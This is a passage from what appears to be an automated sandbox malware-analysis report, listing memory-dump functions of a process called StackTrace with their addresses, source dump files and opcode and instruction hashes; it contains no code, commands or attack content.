                                                                            • Opcode Fuzzy Hash: f8e340ca12fe4045e8c615f3c41330dfe7248b8e3890665ae77f60e1489075c5
                                                                            • Instruction Fuzzy Hash: 24E0C274E05208AFCB84DFA8D4406ACBBF8EB49300F10C1AA9808A3381D635AA02DF80
                                                                            Function 06F0F758 Relevance: .0, Instructions: 22COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1949564802.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_6ef0000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: f8e340ca12fe4045e8c615f3c41330dfe7248b8e3890665ae77f60e1489075c5
                                                                            • Instruction ID: c31cd80f909c6c8dd85d0583b3b6b26f44e5cf87289d72d7720e5b52f033a505
                                                                            • Opcode Fuzzy Hash: f8e340ca12fe4045e8c615f3c41330dfe7248b8e3890665ae77f60e1489075c5
                                                                            • Instruction Fuzzy Hash: 3CE07574E05208EFDB94DFA8D9456ACBBF4EB48314F10C1A9DC18A3391D735AA42DF85
                                                                            Function 00A1EAB0 Relevance: .0, Instructions: 21COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 29575732952e6f926306fe390ede773ebfac80703e9d1ed190807b41da6ffff5
                                                                            • Instruction ID: f20f50b9fea00c40c8a3e0c97665f9349d566903d1eb0edb116a9c0ff00fdc23
                                                                            • Opcode Fuzzy Hash: 29575732952e6f926306fe390ede773ebfac80703e9d1ed190807b41da6ffff5
                                                                            • Instruction Fuzzy Hash: 36E04F74909108ABC744DB94D8409ADBBB8AB45351F14D199EC4857341C7319A42DB94
                                                                            Function 00A1EE08 Relevance: .0, Instructions: 21COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 22711d5d573580939b3ceade1e7b22fa4ff3cdff19d3678708804b83c9a43772
                                                                            • Instruction ID: cdbf555735584d7dab7013bde0b0ffdee8db193653b039354ecf73f0c08a50f0
                                                                            • Opcode Fuzzy Hash: 22711d5d573580939b3ceade1e7b22fa4ff3cdff19d3678708804b83c9a43772
                                                                            • Instruction Fuzzy Hash: 3CE0E574D05208ABCB44DF98D5409ACBBB8EB48310F10C1AAEC4867391D735AA52EB85
                                                                            Function 0450A4D8 Relevance: .0, Instructions: 21COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 9c8de7d32cee15bceb7d6d20d49fac4f296cc670a267a0efe1fdd533005af879
                                                                            • Instruction ID: 79641694185cdee14b5155a848217eed08263c7cceed19acaf8dc78b005d1023
                                                                            • Opcode Fuzzy Hash: 9c8de7d32cee15bceb7d6d20d49fac4f296cc670a267a0efe1fdd533005af879
                                                                            • Instruction Fuzzy Hash: FAE0E578905208AFCB44DF98D4459ACBBB4AB48310F10D1AAEC4863391DA35AE92EB85
                                                                            Function 04507729 Relevance: .0, Instructions: 21COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 4ea1f27e9bbf780f10be293498d8924c4449f3cf654a1c690fb9f84a0cf76097
                                                                            • Instruction ID: bda86aa4fc0c5d6d776bab0af84a9ba58e88bc30091dc6acf3956d5f52d6aeb6
                                                                            • Opcode Fuzzy Hash: 4ea1f27e9bbf780f10be293498d8924c4449f3cf654a1c690fb9f84a0cf76097
                                                                            • Instruction Fuzzy Hash: 79F06C74A002588FCB55DF54C990BDDBBB5FF88300F50849A990EAB241DB31AE86CF15
                                                                            Function 0450A1D0 Relevance: .0, Instructions: 21COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 9c8de7d32cee15bceb7d6d20d49fac4f296cc670a267a0efe1fdd533005af879
                                                                            • Instruction ID: bdba976c69931904c325e7adcbda5fb3d25849b6587629480f15c4ab4b331b05
                                                                            • Opcode Fuzzy Hash: 9c8de7d32cee15bceb7d6d20d49fac4f296cc670a267a0efe1fdd533005af879
                                                                            • Instruction Fuzzy Hash: 40E0E578D05208ABCB44DF98E4409ACBBB4AB48310F10C1AAE84863391D735AB52EB84
                                                                            Function 06F08DA8 Relevance: .0, Instructions: 20COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1949564802.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_6ef0000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 7779521528eb0bea8ccb6c4b27f2a40d5dd3febc6b969219d2e2b28eebc0ca7b
                                                                            • Instruction ID: e0ec2394d8d422fab2bfc301ee184f7cb9b64abd9fc667441ddfc61ed2dce474
                                                                            • Opcode Fuzzy Hash: 7779521528eb0bea8ccb6c4b27f2a40d5dd3febc6b969219d2e2b28eebc0ca7b
                                                                            • Instruction Fuzzy Hash: ADE01A74D05108AFCB84DF98D4406ACBBB5AB48300F10C1AAD81853381CA356A02DB84
                                                                            Function 04507F7E Relevance: .0, Instructions: 20COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 2d2aab0647b2f3e9ad86f0894d05d7b12b51d9599d27c3486187dc8331a0239d
                                                                            • Instruction ID: f89054e2d5dcc909b9dc785997988147550be6486fa2d65610911b785bf25bb5
                                                                            • Opcode Fuzzy Hash: 2d2aab0647b2f3e9ad86f0894d05d7b12b51d9599d27c3486187dc8331a0239d
                                                                            • Instruction Fuzzy Hash: 7BF0397190060EDBCF129F54CC04AD9B731FF48300F108A84EA1A37250DB35AAD5DF50
                                                                            Function 04505FA8 Relevance: .0, Instructions: 20COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 18bd67902c6662b07ec2d16cd5b6824a80d609a6921bac4df7bc717431122433
                                                                            • Instruction ID: a399db05f1dde18f574ced04ea7ce84e9084905438ae96688936711749379ed0
                                                                            • Opcode Fuzzy Hash: 18bd67902c6662b07ec2d16cd5b6824a80d609a6921bac4df7bc717431122433
                                                                            • Instruction Fuzzy Hash: 92E09A74A15208AFC784EBA8D545698BBF4AB48215F1085A9D80897391E635AA41DB41
                                                                            Function 06F0E4B8 Relevance: .0, Instructions: 19COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1949564802.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_6ef0000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 5ae6bf5859511aa77345d2962e0b1e75aae38b10685e939f164ea20a41ff5e6d
                                                                            • Instruction ID: f1bcb4350218d9fd67831bd045ed855d0facb2d23238df3cc1616989596292fb
                                                                            • Opcode Fuzzy Hash: 5ae6bf5859511aa77345d2962e0b1e75aae38b10685e939f164ea20a41ff5e6d
                                                                            • Instruction Fuzzy Hash: A9E0EC78909108EBD744DF94E9419ACBBB8BB45314F1095ADD80827391CB716E52DB85
                                                                            Function 06F0B9B8 Relevance: .0, Instructions: 19COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1949564802.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_6ef0000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: be39af7da24fff3dac8433b014e5a8b726b19c0a6e081d9e12e590fa6a07d8ee
                                                                            • Instruction ID: 1a6a8d2a474b019830159bcffc74b8145f20da7d7b4d03df51808be3f95379af
                                                                            • Opcode Fuzzy Hash: be39af7da24fff3dac8433b014e5a8b726b19c0a6e081d9e12e590fa6a07d8ee
                                                                            • Instruction Fuzzy Hash: 2CE0C27084210CABC7C1EFF8D90068E7BF9EB04300F0044E9900493160EE365A00E7D9
                                                                            Function 0450AD00 Relevance: .0, Instructions: 19COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 175c0d8282cda2666b1527bfcd7f27aba87bfd01c4738613eccac7c8c84bea63
                                                                            • Instruction ID: 1986e0d3e9980682a8a69f3890ce29d113cff1b3deca76623197e86cfe688200
                                                                            • Opcode Fuzzy Hash: 175c0d8282cda2666b1527bfcd7f27aba87bfd01c4738613eccac7c8c84bea63
                                                                            • Instruction Fuzzy Hash: 08E0C238A09208FBCB04DF94E8409ACBBB4FB45301F24D1ACD80823390CB716E02EB84
                                                                            Function 04505650 Relevance: .0, Instructions: 19COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 175c0d8282cda2666b1527bfcd7f27aba87bfd01c4738613eccac7c8c84bea63
                                                                            • Instruction ID: dec53336b62e9e10ff7724d41c202c0d32094de9b0e51996946bbb6c885fd53b
                                                                            • Opcode Fuzzy Hash: 175c0d8282cda2666b1527bfcd7f27aba87bfd01c4738613eccac7c8c84bea63
                                                                            • Instruction Fuzzy Hash: E1E0EC78A0910CEBC744DB94E9419ACBBB4BB45314F14D199D80827391EB316E46EB85
                                                                            Function 04504EB0 Relevance: .0, Instructions: 19COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 175c0d8282cda2666b1527bfcd7f27aba87bfd01c4738613eccac7c8c84bea63
                                                                            • Instruction ID: e5e4095f54c05969770f7e36b2f24f6c51091d746310c43d535da34d2d7fe82b
                                                                            • Opcode Fuzzy Hash: 175c0d8282cda2666b1527bfcd7f27aba87bfd01c4738613eccac7c8c84bea63
                                                                            • Instruction Fuzzy Hash: D3E01278A0910CDBC744DF94E9419ACBBB4FB46314F10D6ADD80827391DB326E43EB85
                                                                            Function 0450A708 Relevance: .0, Instructions: 19COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 175c0d8282cda2666b1527bfcd7f27aba87bfd01c4738613eccac7c8c84bea63
                                                                            • Instruction ID: b91ce8f6419d2445811d9cf01c889ba7b45b94ad69663eda87ee22aa65641c32
                                                                            • Opcode Fuzzy Hash: 175c0d8282cda2666b1527bfcd7f27aba87bfd01c4738613eccac7c8c84bea63
                                                                            • Instruction Fuzzy Hash: A2E01278A09208DBC744DF94E9419ACBBB8FB45314F10D19DD80827391EB31BE52EB85
                                                                            Function 0450B7E8 Relevance: .0, Instructions: 19COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 175c0d8282cda2666b1527bfcd7f27aba87bfd01c4738613eccac7c8c84bea63
                                                                            • Instruction ID: 1d15425e3ab77b44989da7bb62ebb1c0deb07fd48ae6f6ef23a90c736609dd94
                                                                            • Opcode Fuzzy Hash: 175c0d8282cda2666b1527bfcd7f27aba87bfd01c4738613eccac7c8c84bea63
                                                                            • Instruction Fuzzy Hash: 31E08C38A09108DBC744DFD4E8819ACBBB8BB45300F10D19CD80823390CB317E02EB84
                                                                            Function 04501218 Relevance: .0, Instructions: 19COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 175c0d8282cda2666b1527bfcd7f27aba87bfd01c4738613eccac7c8c84bea63
                                                                            • Instruction ID: 874b77fa856e2db062f27355e0332eb46d4a92fb89676989217af00cbe1dc6a1
                                                                            • Opcode Fuzzy Hash: 175c0d8282cda2666b1527bfcd7f27aba87bfd01c4738613eccac7c8c84bea63
                                                                            • Instruction Fuzzy Hash: 54E01278A09108DBC754DFD4E9459ACBBB8FB45314F20D19DD80867391DB326E42EB85
                                                                            Function 04500B38 Relevance: .0, Instructions: 19COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 175c0d8282cda2666b1527bfcd7f27aba87bfd01c4738613eccac7c8c84bea63
                                                                            • Instruction ID: 8d83cf9f24adb8bcea0faf8231b8d4d9a2739d12288a2aa027f0e545dba78173
                                                                            • Opcode Fuzzy Hash: 175c0d8282cda2666b1527bfcd7f27aba87bfd01c4738613eccac7c8c84bea63
                                                                            • Instruction Fuzzy Hash: D6E0EC78A09108DBCB44DF94E981AACBBB8BB45715F10D1EDD80827391DB316E42EB85
                                                                            Function 045053F0 Relevance: .0, Instructions: 19COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: c0596206ef6b4db10e29ab31464853044bcae0bc2a1633e0be01a4b298c4e443
                                                                            • Instruction ID: 612abf768c2bccf5f21cac0e3188c816aeb92e5164dd393b99b306d5f97f392b
                                                                            • Opcode Fuzzy Hash: c0596206ef6b4db10e29ab31464853044bcae0bc2a1633e0be01a4b298c4e443
                                                                            • Instruction Fuzzy Hash: 67E0127198210CABC781EFF5DD1069E7BF9EB05300F1055E9D505A3150EE366A05DBDA
                                                                            Function 04505CF0 Relevance: .0, Instructions: 18COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 64295fd0995239e7a44ecf3a0e98afd33e5f8eb62584cd673b9fc48efeaa67b3
                                                                            • Instruction ID: 54a4d85612db728a08dbe1c0e2441f3e897c7f55adeeda5bdfd5cf8182869c40
                                                                            • Opcode Fuzzy Hash: 64295fd0995239e7a44ecf3a0e98afd33e5f8eb62584cd673b9fc48efeaa67b3
                                                                            • Instruction Fuzzy Hash: 27E08C3490520CABC740DBA8E4446ACBBB4EB45200F10D09AD80857381EA31AB02EB40
                                                                            Function 04503E68 Relevance: .0, Instructions: 18COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 64295fd0995239e7a44ecf3a0e98afd33e5f8eb62584cd673b9fc48efeaa67b3
                                                                            • Instruction ID: 5ec5634a9a5f32e27d898ef1804bd8628d389b098ec80c8ff316f29d3ea848ca
                                                                            • Opcode Fuzzy Hash: 64295fd0995239e7a44ecf3a0e98afd33e5f8eb62584cd673b9fc48efeaa67b3
                                                                            • Instruction Fuzzy Hash: A9E08C349051089BC780DBA8D5406ACBFB4AB05204F10819DDC4853381DB31AA02EB80
                                                                            Function 045090F5 Relevance: .0, Instructions: 18COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 9fa997db9ed0d49c1ae53bcfab4100d2555f382f475b57136704b0a076b1c242
                                                                            • Instruction ID: 92ec6ca52aa8853a046ac5d89b565d6d43db2b2e0438588036fe1796bee2194d
                                                                            • Opcode Fuzzy Hash: 9fa997db9ed0d49c1ae53bcfab4100d2555f382f475b57136704b0a076b1c242
                                                                            • Instruction Fuzzy Hash: FEE04F74A0421C8FCB65DF14D814BEE77B5FB09300F0041E9E95AA7749DA395A449F50
                                                                            Function 00A1FFA8 Relevance: .0, Instructions: 17COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 08922d750f3a14b5551eeea670640bf3b8fd9322f9c9d2b124652e4d4e479b47
                                                                            • Instruction ID: 95d545539834d440bcf07c04539f3d58cc1d73503ccdde1d060b159ce58a85fe
                                                                            • Opcode Fuzzy Hash: 08922d750f3a14b5551eeea670640bf3b8fd9322f9c9d2b124652e4d4e479b47
                                                                            • Instruction Fuzzy Hash: 90D05E70509108DFC744CB94D940AA9B7B8EB46318F2090ADA80C53391CB72AE43D685
                                                                            Function 045077A7 Relevance: .0, Instructions: 15COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 5e35b89a583a2dc3ea903b5e1962e058d6fb2b6b2b0277ea3bd49849df1e3e51
                                                                            • Instruction ID: 69b8f85145b91eb813272660593c7fff54b3ed3e36d20d181eab39f0d4a64d84
                                                                            • Opcode Fuzzy Hash: 5e35b89a583a2dc3ea903b5e1962e058d6fb2b6b2b0277ea3bd49849df1e3e51
                                                                            • Instruction Fuzzy Hash: A2E09278A00218CFCB50CF54C980A9DBBF9EF48300F14C49A990DA7341EB32AE82DF00
                                                                            Function 04507989 Relevance: .0, Instructions: 13COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 1de6bb274ed61a437e4cc103cb51bb3a7fe8e6401c5645ae754172617c0e61c7
                                                                            • Instruction ID: c74837e5421aa3014bf025ae44049363f076f325a3b9389d1ef65e2f7001863f
                                                                            • Opcode Fuzzy Hash: 1de6bb274ed61a437e4cc103cb51bb3a7fe8e6401c5645ae754172617c0e61c7
                                                                            • Instruction Fuzzy Hash: 64E0E239904269CFCF11DF20DC08BDABBF2BB08305F0481D5800A63290E33A6AC9DF10
                                                                            Function 06F0E968 Relevance: .0, Instructions: 12COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1949564802.0000000006EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EF0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_6ef0000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: acd9b381e971ac80c460145c8666b338b14b78d8deaa134f7cb99906aa31136b
                                                                            • Instruction ID: 36cd6271eb820ba6a6997f971891f3b0a06f3f40a41a60d82fc6274d5af9893d
                                                                            • Opcode Fuzzy Hash: acd9b381e971ac80c460145c8666b338b14b78d8deaa134f7cb99906aa31136b
                                                                            • Instruction Fuzzy Hash: ABC08C3048B2088AE2E01288740C37572DC930A302F002C00A54C000A0CB741024D558
                                                                            Function 045058AE Relevance: .0, Instructions: 11COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: b8317a1a1e3e6e943a5258cf2b9c65fb64693069899f667b328e7391476712be
                                                                            • Instruction ID: 494f8d2a496f67739b9bf1015a1bddf10a0bab68611ca2499917484899d0274b
                                                                            • Opcode Fuzzy Hash: b8317a1a1e3e6e943a5258cf2b9c65fb64693069899f667b328e7391476712be
                                                                            • Instruction Fuzzy Hash: E9D09274A05208CBEB44EF64E858BADB7F2EB44304F1081A9D50AA7695EA385A80CF11
                                                                            Function 00A104A7 Relevance: .0, Instructions: 9COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: ad3fe288174a6ff2e6f76eb56d32d8afadfa529495a65ab79221a294f0f86415
                                                                            • Instruction ID: df44523fead20fd25be5880d7b1b8705b8de28558f1df50e96899523d303f859
                                                                            • Opcode Fuzzy Hash: ad3fe288174a6ff2e6f76eb56d32d8afadfa529495a65ab79221a294f0f86415
                                                                            • Instruction Fuzzy Hash: 2AC09B7040D2818FDF0287109BF54747F307D5371131D41DAC142CB167C91948C9C7D9
                                                                            Function 00A109A8 Relevance: .0, Instructions: 9COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: ea5d5176a3a36ca05cd2a46a9bf4fa4fadfec5ae9d58e6cce3819ed5d6c87728
                                                                            • Instruction ID: b95a9de0a1a1d03aeaae5b88a03a16dca52f128fbc0dbd2e0180ccb45402b72f
                                                                            • Opcode Fuzzy Hash: ea5d5176a3a36ca05cd2a46a9bf4fa4fadfec5ae9d58e6cce3819ed5d6c87728
                                                                            • Instruction Fuzzy Hash: 97C04C5064D6865ACF6A67B4102CF783F825F46218F4946ED9846CF1A3DF2D6480CB14
                                                                            Function 04507FDA Relevance: .0, Instructions: 9COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939978738.0000000004500000.00000040.00000800.00020000.00000000.sdmp, Offset: 04500000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_4500000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 389ae2fcedc6499bcd73753dae31023df01aaea99a6956d6152e898be127029a
                                                                            • Instruction ID: 8033c0174a20001c6a4576adba04024da59e1d63a5a1794552481713ffd6ccd8
                                                                            • Opcode Fuzzy Hash: 389ae2fcedc6499bcd73753dae31023df01aaea99a6956d6152e898be127029a
                                                                            • Instruction Fuzzy Hash: 88D0CA74E0822C8BCBA4EF68C9887D9BBF1BB49300F1080C8808CA3341DB362E859F01
                                                                            Function 00A114A9 Relevance: .0, Instructions: 8COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 103cd4e1b336fe2df940de5bd7564e39c65ed0ffd402689e0055ab1d0317fb3e
                                                                            • Instruction ID: 9873c4e127f6cadafd016bfc99a6b0a2f486fc660cac97a52f877ba397686f57
                                                                            • Opcode Fuzzy Hash: 103cd4e1b336fe2df940de5bd7564e39c65ed0ffd402689e0055ab1d0317fb3e
                                                                            • Instruction Fuzzy Hash: 87B012700400034FCD00DB10EBB5455FF707A90742304C35C450547254CE14D445CECC
